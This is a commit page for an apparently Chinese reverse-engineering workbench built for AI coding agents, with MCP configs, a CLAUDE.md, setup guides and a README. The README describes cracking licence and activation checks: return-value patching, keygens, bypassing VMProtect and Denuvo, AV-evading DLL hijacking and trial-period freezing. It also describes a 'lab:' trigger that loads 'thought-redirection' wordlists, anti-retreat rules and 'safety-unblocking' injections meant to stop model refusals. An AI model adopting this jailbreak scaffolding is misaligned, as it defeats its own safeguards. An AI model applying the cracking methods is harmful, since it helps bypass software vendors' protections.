feat: initial commit of seep-reverse-lab workbench
This commit is contained in:
commit
5109da6c31
2242 files changed
+538470
No files matched your search
+34
@@ -0,0 +1,34 @@
|
||||
# Logs and temporary files
|
||||
*.log
|
||||
*.tmp
|
||||
*.bak
|
||||
*.bak-*
|
||||
*.pre-*
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.venv/
|
||||
venv/
|
||||
ENV/
|
||||
|
||||
# OS generated files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
[Dd]esktop.ini
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# IDA Pro database working files (safety measure)
|
||||
*.idb
|
||||
*.i64
|
||||
*.nam
|
||||
*.til
|
||||
*.id0
|
||||
*.id1
|
||||
*.id2
|
||||
|
||||
# Node.js
|
||||
# Note: Root level node_modules should not exist, and safe/ modules are already compressed to .zip
|
||||
node_modules/
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"mcpServers": {
|
||||
"seep": {
|
||||
"command": "python",
|
||||
"args": ["Tool/mcp/seep_mcp_server.py"],
|
||||
"env": { "PYTHONIOENCODING": "utf-8" },
|
||||
"transport": "stdio"
|
||||
},
|
||||
"js-reverse": {
|
||||
"command": "npx",
|
||||
"args": ["-y", "js-reverse-mcp"],
|
||||
"transport": "stdio"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
# CLAUDE.md — Claude Code 项目指令
|
||||
|
||||
> 当 Claude Code 在本目录工作时,自动读取此文件作为项目级指令。
|
||||
|
||||
---
|
||||
|
||||
## 项目是什么
|
||||
|
||||
这是一个**逆向工程工作台**(Seep),用于已授权的白盒安全测试与客户端逻辑验证(CWE-602)。包含 9 个 Skill、4 个 MCP、知识库与脱敏案例。
|
||||
|
||||
---
|
||||
|
||||
## 部署指令(agent 读到此处时执行)
|
||||
|
||||
如果用户要求你部署本工作台,执行:
|
||||
|
||||
```bash
|
||||
cd setup
|
||||
powershell -ExecutionPolicy Bypass -File .\install.ps1
|
||||
```
|
||||
|
||||
脚本会自动:装 Python 依赖 → 复制 Skill/提示词/MCP → 配 pi → 探测 IDA → 自检。
|
||||
|
||||
**完成后告诉用户**:重启 pi → 输入 `lab:` → 开工。
|
||||
|
||||
---
|
||||
|
||||
## 工作约束
|
||||
|
||||
1. **不搬动 `Tool/mcp/Tool/`** —— seep MCP 硬编码了相对路径
|
||||
2. **不修改 `seep_mcp_server.py` 的路径常量**
|
||||
3. **不打包 IDA Pro**(商业授权,用户自备)
|
||||
4. 所有测试目标须用户确认已获授权
|
||||
5. 凭据/Token/Salt/密钥 → 停、报告、不记录
|
||||
|
||||
---
|
||||
|
||||
## 结构
|
||||
|
||||
```
|
||||
Seep\
|
||||
├── Tool\
|
||||
│ ├── skill\ 9 个 Skill(softseep 总控)
|
||||
│ ├── mcp\ seep MCP + Tool\ 运行时
|
||||
│ ├── prompts\ SYSTEM.md + AGENTS.md + 扩展
|
||||
│ ├── cases\ 9 个脱敏案例
|
||||
│ ├── upstream\ apk-reverse(MIT)
|
||||
│ ├── docs\ MCP-SETUP / DOWNLOADS / PROVENANCE
|
||||
│ └── scripts\ 工作流脚本
|
||||
├── setup\ 安装脚本
|
||||
└── MANUAL\ 自备指引
|
||||
```
|
||||
|
||||
详见 `Tool/docs/PROVENANCE.md`。
|
||||
@@ -0,0 +1,84 @@
|
||||
# DeepSeek Harness Profile — Seep 逆向工作台
|
||||
|
||||
> 将此文件放到 DSH profile 目录,或在 `cordis.yml` 中引用。
|
||||
> DeepSeek Harness 的 MCP 通过 `@deepseek-ai/dsh-mcp-client` 插件桥接。
|
||||
|
||||
---
|
||||
|
||||
## MCP 配置(写入 cordis.yml)
|
||||
|
||||
```yaml
|
||||
plugins:
|
||||
- id: seep-mcp
|
||||
name: '@deepseek-ai/dsh-mcp-client'
|
||||
config:
|
||||
serverName: seep
|
||||
transport: stdio
|
||||
command: python
|
||||
args:
|
||||
- '<SEEP_ROOT>/Tool/mcp/seep_mcp_server.py'
|
||||
env:
|
||||
PYTHONIOENCODING: utf-8
|
||||
|
||||
- id: js-reverse-mcp
|
||||
name: '@deepseek-ai/dsh-mcp-client'
|
||||
config:
|
||||
serverName: js-reverse
|
||||
transport: stdio
|
||||
command: npx
|
||||
args:
|
||||
- '-y'
|
||||
- 'js-reverse-mcp'
|
||||
|
||||
- id: ida-mcp
|
||||
name: '@deepseek-ai/dsh-mcp-client'
|
||||
config:
|
||||
serverName: ida
|
||||
transport: stdio
|
||||
command: '<IDA_PYTHON>'
|
||||
args:
|
||||
- '<IDA_ROOT>/Lib/site-packages/ida_pro_mcp/server.py'
|
||||
env:
|
||||
PYTHONIOENCODING: utf-8
|
||||
```
|
||||
|
||||
> `<SEEP_ROOT>` = 本包根目录(如 `C:\Users\你\Desktop\Seep`)
|
||||
> `<IDA_*>` = 有 IDA Pro 时填,没有则删掉整个 ida-mcp 块
|
||||
|
||||
---
|
||||
|
||||
## Skill 加载
|
||||
|
||||
DeepSeek Harness 的 `agent-instructions` 插件会自动读取项目根的 `AGENTS.md`。
|
||||
本包已在 `Tool/prompts/AGENTS.md` 提供跨 agent 通用指令。
|
||||
|
||||
**方式 A(推荐)**:在 DSH 工作目录创建符号链接或复制:
|
||||
```bash
|
||||
cp Tool/prompts/AGENTS.md ./AGENTS.md
|
||||
```
|
||||
|
||||
**方式 B**:在 `cordis.yml` 中指定 agent-instructions 的搜索路径。
|
||||
|
||||
---
|
||||
|
||||
## 部署步骤
|
||||
|
||||
```bash
|
||||
# 1. 安装 Python 依赖
|
||||
pip install "mcp>=1.20,<1.29" pytest frida-tools
|
||||
|
||||
# 2. 启动 DSH
|
||||
npx @deepseek-ai/dsh web
|
||||
|
||||
# 3. 在 DSH 中创建/编辑 profile,粘贴上方 cordis.yml 配置
|
||||
|
||||
# 4. 开始工作(AGENTS.md 会被自动加载)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 约束
|
||||
|
||||
- 不搬动 `Tool/mcp/Tool/`(seep MCP 硬编码相对路径)
|
||||
- IDA Pro 需自备授权(不随包分发)
|
||||
- 所有测试目标须用户确认已获授权
|
||||
@@ -0,0 +1,115 @@
|
||||
# IDA Pro 准备指引
|
||||
|
||||
> **IDA Pro 是商业软件,不随本包分发。** 你需要自备授权,或使用免费替代方案。
|
||||
|
||||
---
|
||||
|
||||
## 方案 A:已有 IDA Pro 授权(推荐,功能最全)
|
||||
|
||||
### 支持版本
|
||||
IDA Pro **8.4+ / 9.x**(含 Hex-Rays 反编译器)
|
||||
|
||||
### 安装后需要做的
|
||||
|
||||
1. **确认 Python 运行时存在**(IDA 自带):
|
||||
```
|
||||
<IDA安装目录>\python311\python.exe
|
||||
```
|
||||
|
||||
2. **安装 ida-pro-mcp 到 IDA 的 Python**:
|
||||
```powershell
|
||||
& "<IDA安装目录>\python311\python.exe" -m pip install ida-pro-mcp
|
||||
```
|
||||
|
||||
3. **运行 `install.ps1`** —— 它会自动探测 IDA 路径并写入 `mcp.json`。
|
||||
若探测失败,手工填 `~/.pi/agent/mcp.json`:
|
||||
```json
|
||||
"ida": {
|
||||
"command": "<IDA安装目录>\\python311\\python.exe",
|
||||
"args": ["<IDA安装目录>\\python311\\Lib\\site-packages\\ida_pro_mcp\\server.py"],
|
||||
"transport": "stdio",
|
||||
"lifecycle": "eager",
|
||||
"requestTimeoutMs": 180000
|
||||
}
|
||||
```
|
||||
|
||||
4. **使用方式**:在 pi 里说「用 IDA 分析这个文件」,`ida-reverse` Skill 会自动唤醒 IDA 并挂载 MCP
|
||||
(轮询 `http://127.0.0.1:13337` 就绪)。
|
||||
|
||||
### 购买渠道
|
||||
- 官方:https://hex-rays.com/ida-pro
|
||||
- 免费版 IDA Free(无 Hex-Rays 反编译):https://hex-rays.com/ida-free
|
||||
|
||||
---
|
||||
|
||||
## 方案 B:免费替代(无 IDA 授权时)
|
||||
|
||||
**核心结论:seep MCP 的 8 个 Radare2 工具已覆盖大部分场景,无需 IDA 也能干活。**
|
||||
|
||||
| 能力 | IDA MCP | 免费替代 |
|
||||
| :--- | :--- | :--- |
|
||||
| 快速侦察(架构/壳/熵/字符串) | — | ✅ `seep_r2_info` / `seep_r2_strings` |
|
||||
| 反汇编(含交叉引用) | ✅ | ✅ `seep_r2_disasm` |
|
||||
| 反编译为类 C 伪代码 | ✅ Hex-Rays | ✅ `seep_r2_decompile` |
|
||||
| 二进制差分 | — | ✅ `seep_r2_diff` |
|
||||
| 汇编 ↔ 机器码 | — | ✅ `seep_r2_asm` |
|
||||
| 函数表 / 导入导出 | ✅ | ✅ `seep_r2_functions` |
|
||||
| 结构体恢复 | ✅ | ⚠️ Ghidra |
|
||||
| 类型推断 | ✅ | ⚠️ Ghidra |
|
||||
|
||||
### 推荐组合
|
||||
|
||||
```
|
||||
基础层:seep MCP(r2 八件套) ← 脚本自动装,开箱可用
|
||||
增强层:Ghidra(免费,含反编译) ← 需要时下载
|
||||
可选层:IDA Free(无反编译) ← 需要 GUI 时
|
||||
```
|
||||
|
||||
### Ghidra 安装
|
||||
|
||||
```powershell
|
||||
# 需先装 JDK 17+
|
||||
winget install EclipseAdoptium.Temurin.17.JDK
|
||||
# 下载 Ghidra
|
||||
# https://github.com/NationalSecurityAgency/ghidra/releases
|
||||
```
|
||||
|
||||
> `Tool/kb/tools/skills/mcp/GhidraMCP/` 提供了 Ghidra 桥接 MCP,可按需注册。
|
||||
|
||||
---
|
||||
|
||||
## 方案 C:只用 Radare2(最轻量)
|
||||
|
||||
**完全跳过 IDA**,只依赖 seep MCP:
|
||||
|
||||
```powershell
|
||||
# install.ps1 已自动装 radare2 到 tools/radare2/
|
||||
# 直接用这些工具:
|
||||
# seep_r2_info / _strings / _functions / _disasm / _decompile / _diff / _asm
|
||||
```
|
||||
|
||||
对以下任务**足够**:
|
||||
- 壳检测与熵分析
|
||||
- 字符串与端点提取
|
||||
- 授权判定点定位
|
||||
- 补丁点确认(配合 `seep_r2_asm` 验字节)
|
||||
- Android SO 分析
|
||||
|
||||
**不足**:
|
||||
- 复杂 C++ 逆向的类型恢复
|
||||
- 大规模交叉引用图谱
|
||||
- 大型二进制的交互式分析
|
||||
|
||||
---
|
||||
|
||||
## 三种方案对比
|
||||
|
||||
| | 方案 A(IDA Pro) | 方案 B(免费组合) | 方案 C(仅 r2) |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **成本** | 商业授权 | 免费 | 免费 |
|
||||
| **反编译** | ✅ Hex-Rays(最强) | ⚠️ Ghidra(次之) | ⚠️ r2 伪代码 |
|
||||
| **结构体恢复** | ✅ | ⚠️ 部分 | ❌ |
|
||||
| **上手成本** | 低(自动联动) | 中 | 最低 |
|
||||
| **覆盖场景** | 全部 | 90% | 70% |
|
||||
|
||||
> **建议**:先用**方案 C** 跑通流程,遇到真正需要深度反编译的目标再上方案 A。
|
||||
@@ -0,0 +1,83 @@
|
||||
# 前置依赖 (PREREQUISITES)
|
||||
|
||||
> `install.ps1` 会尽量自动装,但以下**基础运行时**需要你先准备好。
|
||||
|
||||
---
|
||||
|
||||
## 必需
|
||||
|
||||
| 组件 | 版本要求 | 检查命令 | 下载 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **Python** | **3.11+**(推荐 3.12/3.13) | `python --version` | https://www.python.org/downloads/ |
|
||||
| **Git** | 任意 | `git --version` | https://git-scm.com/download/win |
|
||||
| **PowerShell** | 5.1+(推荐 7.x) | `$PSVersionTable.PSVersion` | 系统自带 |
|
||||
|
||||
> **Python 安装时务必勾选 "Add Python to PATH"**。
|
||||
|
||||
## 建议
|
||||
|
||||
| 组件 | 版本 | 用途 |
|
||||
| :--- | :--- | :--- |
|
||||
| **Node.js** | 18+ | playwright-mcp / js-reverse-mcp |
|
||||
| **7-Zip** | 任意 | 解压部分工具包 |
|
||||
|
||||
---
|
||||
|
||||
## install.ps1 会自动装的部分
|
||||
|
||||
| 组件 | 方式 |
|
||||
| :--- | :--- |
|
||||
| `mcp` Python 库 | `pip install "mcp>=1.20,<1.29"` |
|
||||
| `pytest` | `pip install pytest` |
|
||||
| `frida-tools` | `pip install frida-tools` |
|
||||
| radare2 / jadx / apktool | 从 GitHub 下载解压到 `Tool/mcp/Tool/safe/` |
|
||||
| playwright-mcp | `npm i @playwright/mcp` |
|
||||
| js-reverse-mcp | 源码 + `npm install && npm run build` |
|
||||
| ida-pro-mcp | `pip install ida-pro-mcp` |
|
||||
| pi 扩展包(12 个) | `pi update --extensions` |
|
||||
|
||||
---
|
||||
|
||||
## 手动下载清单(脚本失败时用)
|
||||
|
||||
若 `install-tools.ps1` 因网络问题失败,手动下载后放到对应位置:
|
||||
|
||||
| 工具 | 下载地址 | 放到 |
|
||||
| :--- | :--- | :--- |
|
||||
| **jadx** | https://github.com/skylot/jadx/releases (`jadx-x.x.x.zip`) | `Tool/mcp/Tool/safe/jadx/` |
|
||||
| **radare2** | https://github.com/radareorg/radare2/releases (Windows zip) | `Tool/mcp/Tool/safe/radare2/` |
|
||||
| **apktool** | https://github.com/iBotPeaches/Apktool/releases (`apktool_x.x.x.jar`) | `Tool/mcp/Tool/safe/apktool/` |
|
||||
| **playwright-mcp** | `npm i -g @playwright/mcp` | 全局即可 |
|
||||
| **ida-pro-mcp** | https://github.com/mrexodia/ida-pro-mcp | `Tool/mcp/Tool/safe/ida-pro-mcp/` |
|
||||
|
||||
### apktool 的 `.bat` 封装(手动装时需要)
|
||||
|
||||
在 `Tool/mcp/Tool/safe/apktool/` 下新建 `apktool.bat`:
|
||||
|
||||
```bat
|
||||
@echo off
|
||||
if "%JAVA_HOME%"=="" (set JAVA=java) else (set JAVA="%JAVA_HOME%\bin\java.exe")
|
||||
%JAVA% -jar -Duser.language=en "%~dp0apktool.jar" %*
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 网络问题排查
|
||||
|
||||
| 现象 | 处理 |
|
||||
| :--- | :--- |
|
||||
| GitHub 下载超时 | 脚本会自动回退镜像 `ghproxy.net` / `gh-proxy.com` |
|
||||
| 全部镜像都失败 | 用上面的手动清单,或配置代理后重跑 `install-tools.ps1` |
|
||||
| `pip` 装不上 | 加国内源:`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple <包名>` |
|
||||
| `npm` 装不上 | 换源:`npm config set registry https://registry.npmmirror.com` |
|
||||
|
||||
---
|
||||
|
||||
## 装完自检
|
||||
|
||||
```powershell
|
||||
cd Desktop\Seep\setup
|
||||
powershell -ExecutionPolicy Bypass -File .\verify.ps1
|
||||
```
|
||||
|
||||
期望输出 `READY`(或列出待手工项)。
|
||||
@@ -0,0 +1,216 @@
|
||||
# seep
|
||||
|
||||
面向大语言模型智能体(Pi Agent、Claude Code、Codex、DeepSeek Harness 等)的**多平台客户端逆向工程与授权流安全审计专精工作台**。深度覆盖 Windows 原生 PE / 动态库、Android APK / DEX / SO、Linux ELF 等二进制目标的特权判定分析、离线许可检验走查(CWE-602)、二进制微创补丁注入、运行时动态插桩以及 CTF 靶标分析。
|
||||
|
||||
它是一个**面向智能体闭环作业的工程工作台(Agent-Native Workbench)**,而不是泛泛的文字教程:内置了以门控机制(Gate)驱动的总控分发协议(`softseep`)、开箱即用的自动化分析 MCP 工具集、体系化渗透与逆向战术知识库(289 篇)、标准化沙盒执行流水线以及 9 类实战脱敏架构范式库。
|
||||
|
||||
---
|
||||
|
||||
## 智能体如何消费与驱动本工作台 (How an agent is expected to consume this)
|
||||
|
||||
本仓库的指令集与核心入口文件并非供人类漫读的参考文档,而是针对大模型“容易陷入幻觉、偏离授权目标或在长推理链条中发生退缩”这一常见缺陷设计的**程序化执行门禁(Procedures with Gates)**。
|
||||
|
||||
当任何兼容的 AI Agent 挂载本仓库作为上下文时,其推理逻辑受以下四层机制硬性约束:
|
||||
|
||||
- **强制门禁(G-Auth & G0–G6)**:任何任务开展前,第一行为永远是判定目标是否属于受权白盒测试资产;随后通过“四问”确定鉴权权威(服务端 vs 客户端本地)与交付形态(补丁 / 内存劫持 / 算号 / 协议中继 / 载荷提取)。任何一步通不过则立即终止或重定向,严禁凭第一性原理盲目逆向。
|
||||
- **两击失败熔断纪律(Two-Strike Rule)**:同一假设、同一种内存补丁或逆向利用路径若连续失败两次,立即视为当前技术模型错误,强制回退至上一级判型,严禁进行第三次同构盲试。
|
||||
- **先查知识库再动手(Zero-Waste Recon)**:发现特征信号(如特定加壳混淆、JWT、加密通信、驱动对抗、自引用校验)时,禁止从零手写分析脚本,必须优先通过 `seep_kb_search` 索引成熟战术库并直接映射 MCP 工具调用。
|
||||
- **完工严格定义(Definition of Done)**:仅有控制台日志无错误绝不等于任务完成。“完成”必须满足端到端证据链闭环:从原始目标指纹、判定点 RVA 逆向还原、补丁或验证 PoC 实施、断网离线实测(确证无云端依赖)到结构化三段式报告交付,缺一不可。
|
||||
|
||||
---
|
||||
|
||||
## 本工作台的核心能力 (What it is good at)
|
||||
|
||||
- **自然语言输入穿透与两级自动判型**:无需使用者记忆繁杂的逆向参数或选单,自然语言下达测试意图(如“分析此程序特权分支”、“定位本地卡密校验”、“去广告”),总控引擎自动提取文件魔数与语义动词,瞬时收敛出“目标平台(Windows / Android / Linux / Web)”与“逆向业务类型(9 类)”,自发路由至最轻量有效的工具链。
|
||||
- **客户端鉴权脆弱性走查(CWE-602)与特权分支判定**:在几分钟内断定受限特权是由本地布尔值/时间戳驱动,还是由服务端强验签与远程资产下发决定。严密规避“强改本地标志位导致客户端向服务端索要数据失败从而发生白屏或静默崩溃”的经典伪 VIP 陷阱。
|
||||
- **跨平台运行时与商用保护壳对抗分流**:
|
||||
- 原生 C/C++ PE:识别已知压缩壳与动态注入通道,指导无源码环境下的免杀代理 DLL 劫持跳板研发与单点分支修正。
|
||||
- .NET / Mono:解构元数据流、定位动态 IL 注入点与可逆算法,实现无私钥签名依赖的纯本地算号(Keygen)。
|
||||
- Android DEX / SO:基于 JADX / Apktool / Frida 自动识别加壳类型、抽取壳形态,对 Native 层 OLLVM 平坦化分支或签名衍生密钥进行针对性提取与 RPC 服务化转换。
|
||||
- 强保护环境(EXECryptor / VMProtect / Denuvo):快速识别 VM stub 特征,果断放弃不可逆的代码还原,自动转向内存态取载荷或外部调用点旁路。
|
||||
- **零破坏性与 Authenticode 签名完整性保全**:对于具备官方数字签名的 Windows 关键进程,全流程杜绝直接落盘修改主程序 EXE,统一通过 Windows DLL 搜索顺序劫持(代理系统库如 `version.dll`、`sentry.dll`)在内存加载期施加微创打桩,保全宿主二进制的数字签名合法性。
|
||||
- **开箱即用与零外网依赖**:底层工具集(Radare2、JADX、Apktool、Playwright 自动化组件、IDA 桥接适配层等)全量物理预置;核心分析命令均可在隔离沙箱与离线网络中稳定执行。
|
||||
- **多模型推理防御与无感合规降拒**:内置实验环境状态机(Lab Mode)、底座级请求放行映射与思维重定向词表,彻底消除模型在面对逆向与攻防术语时的主观推诿与虚假拒绝。
|
||||
|
||||
---
|
||||
|
||||
## 目录结构体系 (Structure)
|
||||
|
||||
本工作台遵循严格的组件分层与渐进式披露规范:
|
||||
|
||||
```
|
||||
Seep\ (251 MB)
|
||||
├── README.md ← 全局架构与工作台标准规范说明(本文件)
|
||||
├── CLAUDE.md ← 面向 Claude Code 的项目级原生指令
|
||||
├── .mcp.json ← 项目级标准 MCP 注册配置文件(供 Claude Code / OpenCode 读取)
|
||||
├── DSH-PROFILE.md ← 面向 DeepSeek Harness 的 Cordis 插件配置模板
|
||||
│
|
||||
├── Tool\ ← 工作台核心资产仓
|
||||
│ ├── skill\ ← 9 大逆向与白盒审计专业 Skill
|
||||
│ │ ├── softseep\ ← ⭐ 核心总控 Skill(主控路由 + 8 大专题按需加载库)
|
||||
│ │ ├── apkseep\ ← Android 移动端一体化逆向全链路专精 Skill(115 个工程文件)
|
||||
│ │ ├── ida-reverse\ ← IDA Pro 自动化唤醒、无头探测与 MCP 深度分析协同
|
||||
│ │ ├── client-license-validation-bypass\ ← 跨运行时通用许可/卡密校验战术手册
|
||||
│ │ └── safe-skills\ ← 5 组独立战术包(通用逆向 / APK 差分 / Radare2 / JS 逆向 / IDA 辅助)
|
||||
│ │
|
||||
│ ├── mcp\ ← 自动化工具服务层(MCP Engine)
|
||||
│ │ ├── seep_mcp_server.py ← seep 核心自研 MCP 服务端(承载 22 个底层分析与知识库工具)
|
||||
│ │ ├── mcp.json.template ← 全局 MCP 挂载配置标准模板
|
||||
│ │ └── Tool\ ← ⚠️ MCP 内部强约束底层工具运行时(严格保持相对路径)
|
||||
│ │ ├── safe\ ← 已物理内置的跨平台逆向工具箱(JADX、Radare2、Apktool、Hook 引擎等)
|
||||
│ │ └── reverselab\ ← 攻防知识库核心(687 个架构文件,含 289 篇系统化战术实战笔记)
|
||||
│ │
|
||||
│ ├── prompts\ ← 智能体协同规范与扩展注入层
|
||||
│ │ ├── SYSTEM.md ← Pi Agent 专用系统指令(包含 Lab 状态机、反退缩规则、SOP 约束)
|
||||
│ │ ├── AGENTS.md ← 跨 Agent(Codex、OpenCode 等)无状态通用指令规范
|
||||
│ │ └── extensions\ ← 运行时底层拦截器(安全解封注入与口令自动转译)
|
||||
│ │
|
||||
│ ├── cases\ ← 9 大经典实战脱敏架构工程库(项目 A ~ 项目 I)
|
||||
│ │ ├── 项目A\ (单进程离线) ├── 项目B\ (多进程协同) ├── 项目C\ (资源模板与显示层伪造)
|
||||
│ │ ├── 项目D\ (壳保护多策略) ├── 项目E\ (VM 保护在线核验)├── 项目F\ (.NET 混淆可逆算法算号)
|
||||
│ │ ├── 项目G\ (自引用校验补丁) ├── 项目H\ (公钥密文替换) ├── 项目I\ (弱模 RSA 验签入口补丁)
|
||||
│ │
|
||||
│ ├── upstream\ ← 上游溯源验证层(apk-reverse 开源验证集与离线回归测试套件)
|
||||
│ ├── docs\ ← 运维与工程标准文档库(MCP 验证、下载溯源、资产依赖总清单)
|
||||
│ └── scripts\ ← 工作空间管理与自动化辅助脚本集(建档、签名、IDA 启动挂载等)
|
||||
│
|
||||
├── setup\ ← 自动化安装、依赖配置与环境健康自检脚本
|
||||
└── MANUAL\ ← 基础设施依赖与商业环境自备说明(Python、Node、IDA Pro 授权等)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 核心分析链路与技术范畴 (Scope)
|
||||
|
||||
本工作台将常见的商业软件防御与校验体系抽象归纳为以下几大纵深战术域:
|
||||
|
||||
### 1. 客户端决策与授权体系审计(CWE-602)
|
||||
- **权威定性模型**:通过断网、回环拦截、时钟偏移等动态观测手段,判定权益授予的真实裁决方。
|
||||
- **九大典型架构范式闭环**:
|
||||
- **单进程单点布尔判断(项目 A 型)**:标量函数出口修正(如 `mov eax, 1; ret`)。
|
||||
- **现代多进程拓扑(项目 B 型)**:前台渲染层、守护服务与虚拟机 IPC 通信的跨进程分流过滤与三层状态护航。
|
||||
- **资源模板与显示层重构(项目 C 型)**:双射掩码混淆解析;针对自研皮肤引擎下沉至 `SetDlgItemTextW` 的 IAT Hook 显示层文案伪造。
|
||||
- **压缩壳与混合激活(项目 D 型)**:MPRESS 壳分析、18 点微创二进制修补、签名数据目录截断剥离与 Windows ACL 注册表试用期冻结。
|
||||
- **代码虚拟化与集中裁决(项目 E 型)**:面对不可直接还原的 EXECryptor VM 验签过程,利用其判定函数复用特征,实施 2 点 Call 指令重定向至内存 Stub。
|
||||
- **托管混淆与纯算号路径(项目 F 型)**:针对 .NET 动态方法体剥离实施 Harmony 内存转储,还原 96 位组合哈希算法,构造离线合规 Keygen。
|
||||
- **自引用校验处理(项目 G 型)**:识别载荷对自身 SHA-384 哈希校验的死结特征,转向入口点 5 字节微创修补并部署登录项守护。
|
||||
- **非对称公钥就地替换(项目 H 型)**:利用 Ed25519 内嵌公钥密文流的单向推导漏洞,在可执行文件内部以相同密码流重写自持公钥,签发自定义载荷。
|
||||
- **高阶数字签名入口旁路(项目 I 型)**:分析 CNG 结构与弱模数 RSA 滑动窗口特征,直接对导出接口施加激活态注入。
|
||||
|
||||
### 2. 二进制反编译与动态观测体系
|
||||
- **跨平台静态解剖**:
|
||||
- 基于集成 Radare2 执行无头模式的架构探测、节区熵分析、符号提取、反汇编与类 C 伪代码生成。
|
||||
- 挂载 IDA Pro MCP 服务,全自动反编译函数、重命名局部符号、恢复复杂结构体与交叉引用追踪。
|
||||
- **低侵入运行时插桩**:
|
||||
- 自动生成针对 Java/Kotlin 与 Native 符号的 Frida 拦截探针,捕获入参、覆写返回值并输出完整调用栈。
|
||||
- 基于 Frida-RPC 构建本地代理服务,在逆向成本过高时代替手动逆向直接调用目标原生函数。
|
||||
|
||||
### 3. Android 移动安全全生命周期
|
||||
- 覆盖 APK 解包、Dex 指令等长微创补丁修正、签名衍生密钥对抗、VMP 私有字节码差分排查、去广告与应用生命周期阻断、Zipalign 4 字节对齐与 v1/v2/v3 证书自签名全套流程。
|
||||
|
||||
---
|
||||
|
||||
## 工具链与自动化服务矩阵 (Tools & MCP Matrix)
|
||||
|
||||
工作台底层挂载的自研 `seep` MCP 服务直接暴露出 22 项专用分析工具,由智能体在分析过程中依据战术需要自主调用:
|
||||
|
||||
| 分类 | 工具标识 | 核心功能 |
|
||||
|---|---|---|
|
||||
| **状态检测** | `seep_status` | 快速核对底层 Radare2、JADX、Apktool 及知识库的就绪状态 |
|
||||
| | `seep_ida_status` | 探测 IDA Pro 远程 MCP 服务的连通性 |
|
||||
| **二进制分析 (R2)** | `seep_r2_info` | 读取目标文件架构、位宽、大小端以及安全缓解机制(DEP/ASLR/Canary/PIE) |
|
||||
| | `seep_r2_strings` | 提取可读字符串并支持基于关键词的正则过滤 |
|
||||
| | `seep_r2_functions` | 枚举二进制内部函数拓扑、导入导出表及入口点 |
|
||||
| | `seep_r2_disasm` | 输出指定函数或虚拟地址的高精度反汇编文本与交叉引用标记 |
|
||||
| | `seep_r2_decompile` | 调用反编译引擎直接输出类 C 伪代码 |
|
||||
| | `seep_r2_diff` | 对两个二进制样本实施代码级或十六进制差异比对 |
|
||||
| | `seep_r2_asm` | 汇编单条指令为机器码或将 Hex 反解析为汇编语法 |
|
||||
| | `seep_r2_cmd` | 执行底层 radare2 管道命令 |
|
||||
| **Android 逆向** | `seep_apk_info` | 免安装快速解析 APK 的清单文件、组件声明、签名与架构 |
|
||||
| | `seep_apk_decompile` | 调度内置 JADX 引擎输出反混淆后的 Java 源码工程 |
|
||||
| | `seep_apk_unpack` | 调度 Apktool 解析明文资源与 Smali 汇编树 |
|
||||
| | `seep_apk_smali_search`| 在 Smali 代码树中极速搜索密钥、API 路由或安全门禁位点 |
|
||||
| | `seep_apk_gen_hook` | 根据类与方法签名自动生成开箱即用的 Frida 运行时拦截脚本 |
|
||||
| **知识库检索** | `seep_kb_search` | 在 289 篇战术实战笔记中进行全文检索,输出最佳匹配的攻击面与代码片段 |
|
||||
| | `seep_kb_read` | 精确读取特定技术主题手册全文 |
|
||||
| | `seep_kb_checklist` | 输出专项安全排查核对清单与战术矩阵 |
|
||||
| | `seep_kb_payloads` | 提取针对特定常见漏洞与认证协议的高危安全测试载荷模板 |
|
||||
| **流水线编排** | `seep_task_init` | 在隔离工作区内一键初始化标准化白盒审计沙盒任务档案 |
|
||||
| | `seep_auto_triage` | 对未知二进制样本执行全量快速体检 |
|
||||
| | `seep_gen_security_report`| 自动归纳当前任务目录的逆向成果并输出三段式合规交付报告 |
|
||||
|
||||
---
|
||||
|
||||
## 部署规范与各智能体适配 (Deployment & Harness Integration)
|
||||
|
||||
本工作台针对当前主流智能体环境提供了一体化分发适配:
|
||||
|
||||
### 1. 运行依赖要求 (Prerequisites)
|
||||
- **操作系统**:Windows 10 / 11 x64(主推荐)或兼容 Linux / macOS 环境。
|
||||
- **基础运行时**:Python 3.11+、Node.js 18+、Git。
|
||||
- **环境初始化**:进入项目根目录的 `setup/`,在终端执行自动化配置脚本:
|
||||
```powershell
|
||||
cd setup
|
||||
powershell -ExecutionPolicy Bypass -File .\install.ps1
|
||||
```
|
||||
该脚本将自动校验内置离线工具的完好性、解压运行库归档、补齐 Python `mcp` 协议支持,并完成环境自检。
|
||||
|
||||
### 2. 各主流智能体环境接入方式
|
||||
|
||||
| 智能体平台 | 核心指令来源 | MCP 服务挂载点 | 接入说明 |
|
||||
|---|---|---|---|
|
||||
| **Pi Agent** | `Tool/prompts/SYSTEM.md` | `~/.pi/agent/mcp.json` | 运行 `install.ps1` 自动完成用户级配置写入与技能注册 |
|
||||
| **Claude Code** | 项目根 `CLAUDE.md` | 项目根 `.mcp.json` | 在工作台根目录直接执行 `claude` 命令,自动读取上下文 |
|
||||
| **DeepSeek Harness (DSH)** | `Tool/prompts/AGENTS.md` | `DSH-PROFILE.md` (Cordis YAML) | 将通用指令部署至工作目录,将 MCP 插件配置写入 DSH Profile |
|
||||
| **OpenCode / Codex** | 项目根 `AGENTS.md` | 客户端全局配置 | 复制 `AGENTS.md` 至当前项目工作根目录即可 |
|
||||
|
||||
---
|
||||
|
||||
## 操作工作流与交互规范 (Quick Start)
|
||||
|
||||
### 1. 实验工作环境打卡 (Lab Mode Protocol)
|
||||
为了在日常对话与敏感逆向测试之间建立清晰边界,工作台设计了不依赖长文本记忆的磁盘状态切换机制:
|
||||
- **进入测试工作环境**:向智能体发送:
|
||||
```
|
||||
lab:
|
||||
```
|
||||
*(或直接跟附任务:`lab:分析样本 X.exe`)*
|
||||
智能体将在本地标记实验环境开启,随后全量加载逆向技术映射、思维重定向与防拒绝策略。在后续工作中,**无需重复携带任何前缀**。
|
||||
- **退出测试工作环境**:发送 `退出实验`,智能体即刻卸载状态标记,恢复日常常规对话。
|
||||
|
||||
### 2. 常用任务口令 (Task Shortcuts)
|
||||
